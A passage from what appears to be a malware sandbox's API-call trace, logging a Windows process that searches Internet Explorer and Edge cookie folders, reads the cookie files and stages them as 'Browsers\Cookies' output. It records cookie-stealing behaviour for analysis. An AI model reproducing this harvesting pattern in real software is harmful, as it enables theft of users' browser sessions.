"c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@www.msn[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.468] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x3eb [0163.468] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf4928, nNumberOfBytesToRead=0x3eb, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf4928*, lpNumberOfBytesRead=0x1e7df6cc*=0x3eb, lpOverlapped=0x0) returned 1 [0163.470] CloseHandle (hObject=0xf4) returned 1 [0163.470] VirtualAlloc (lpAddress=0x1fcfc000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fcfc000 [0163.471] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82c3e360, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x82c3e360, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x82c3e360, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@www.msn[2].txt", cAlternateFileName="AE6390~1.TXT")) returned 0 [0163.471] FindClose (in: hFindFile=0x1e258c88 | out: hFindFile=0x1e258c88) returned 1 [0163.471] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\*.cookie", lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82c3e360, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x82c3e360, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x82c3e360, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@www.msn[2].txt", cAlternateFileName="AE6390~1.TXT")) returned 0xffffffff [0163.472] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@www.msn[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@www.msn[2].txt")) returned 0x2020 [0163.472] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@www.msn[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@www.msn[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x310 [0163.472] GetFileSize (in: hFile=0x310, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x3eb [0163.472] ReadFile (in: hFile=0x310, lpBuffer=0x1fcfda90, nNumberOfBytesToRead=0x3eb, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcfda90*, lpNumberOfBytesRead=0x1e7df6cc*=0x3eb, lpOverlapped=0x0) returned 1 [0163.472] CloseHandle (hObject=0x310) returned 1 [0163.472] VirtualAlloc (lpAddress=0x1fd00000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd00000 [0163.473] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82c3e360, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x82c3e360, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x82c3e360, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@www.msn[2].txt", cAlternateFileName="AE6390~1.TXT")) returned 0 [0163.473] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.473] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Browsers\\Cookies\\InternetExplorerLow.txt", cchWideChar=40, lpMultiByteStr=0x1e7de720, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Browsers\\Cookies\\InternetExplorerLow.txtlã½wÒà½w", lpUsedDefaultChar=0x0) returned 40 [0163.473] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.474] CharToOemBuffA (in: lpszSrc="Browsers\\Cookies\\InternetExplorerLow.txt", lpszDst=0x1fd00ec4, cchDstLength=0x28 | out: lpszDst="Browsers\\Cookies\\InternetExplorerLow.txt") returned 1 [0163.474] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x1fd00f34, Length=0x2e55) returned 0xd6bd9430 [0163.474] VirtualAlloc (lpAddress=0x1fd04000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd04000 [0163.475] VirtualFree (lpAddress=0x1fcfc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0163.476] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.476] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022768, cbMultiByte=25, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="InternetExplorerINetCache\\Cookies\\Low\\疐[ﱨṽṽ") returned 25 [0163.476] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022628, cbMultiByte=43, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\ṽṽ") returned 43 [0163.476] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.477] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\", lpDst=0x1e2bfdbc, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\") returned 0x3d [0163.477] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.478] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9c0, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiessoft\\Windows\\INetCache\\ṽṽ") returned 16 [0163.478] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\*.txt", lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.478] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\inetcache")) returned 0xffffffff [0163.478] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\inetcache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.478] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\inetcache")) returned 0xffffffff [0163.478] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\inetcache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.479] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.479] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.479] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\*.cookie", lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.479] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\inetcache")) returned 0xffffffff [0163.479] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\inetcache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.479] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\inetcache")) returned 0xffffffff [0163.479] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\INetCache\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\inetcache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.479] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.479] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.480] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022790, cbMultiByte=28, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="MicrosoftEdge_AC_INetCookiesws\\INetCache\\ṽṽ") returned 28 [0163.480] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022660, cbMultiByte=77, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\疺⹇眨⹇眨⹣眨⹇眨⹣眨ṽ\x10") returned 77 [0163.480] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\", lpDst=0x1e2bfdbc, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\") returned 0x5f [0163.480] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9c0, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesges\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\疺⹇眨⹇眨⹣眨⹇眨⹣眨ṽ\x10") returned 16 [0163.480] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\*.txt", lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.480] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\inetcookies")) returned 0xffffffff [0163.481] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\inetcookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.481] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\inetcookies")) returned 0xffffffff [0163.481] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\inetcookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.481] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.481] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.481] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\*.cookie", lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.481] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\inetcookies")) returned 0xffffffff [0163.481] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\inetcookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.481] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\inetcookies")) returned 0xffffffff [0163.482] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\inetcookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.482] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.482] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.482] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0227bc, cbMultiByte=20, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="MicrosoftEdge_AC_001s\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\INetCookies\\疺⹇眨⹇眨⹣眨⹇眨⹣眨ṽ\x10") returned 20 [0163.482] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf02bc, cbMultiByte=93, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\症ṽ戟瞾戤瞾䷄榴ܘ症\x10") returned 93 [0163.482] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\", lpDst=0x1e2bfdbc, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\") returned 0x6f [0163.482] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9c0, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesges\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\症ṽ戟瞾戤瞾䷄榴ܘ症\x10") returned 16 [0163.482] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\*.txt", lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.483] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies")) returned 0xffffffff [0163.483] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.483] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies")) returned 0xffffffff [0163.483] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.483] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.483] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.483] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\*.cookie", lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.484] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies")) returned 0xffffffff [0163.484] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.484] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies")) returned 0xffffffff [0163.484] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0xffffffff, hTemplateFile=0x0) returned 0xffffffff [0163.484] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.484] FindClose (in: 